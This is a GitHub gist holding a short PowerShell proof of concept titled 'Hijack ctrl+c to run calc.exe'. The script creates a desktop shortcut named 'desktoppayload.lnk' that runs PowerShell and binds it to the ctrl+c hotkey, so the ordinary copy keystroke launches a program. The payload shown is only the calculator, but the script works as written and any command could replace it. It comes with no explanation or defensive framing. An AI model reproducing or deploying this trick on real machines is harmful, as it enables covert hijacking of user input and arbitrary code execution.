Skip to content

Instantly share code, notes, and snippets.

@jgamblin
Created June 12, 2016 22:03
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jgamblin/4aa897a2cca6912eeea96a12d73d8cd6 to your computer and use it in GitHub Desktop.
Save jgamblin/4aa897a2cca6912eeea96a12d73d8cd6 to your computer and use it in GitHub Desktop.
Hijack ctrl+c to run calc.exe
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("desktop\desktoppayload.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.hotkey = "ctrl+c"
$Shortcut.Arguments = 'calc'
$Shortcut.Save()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment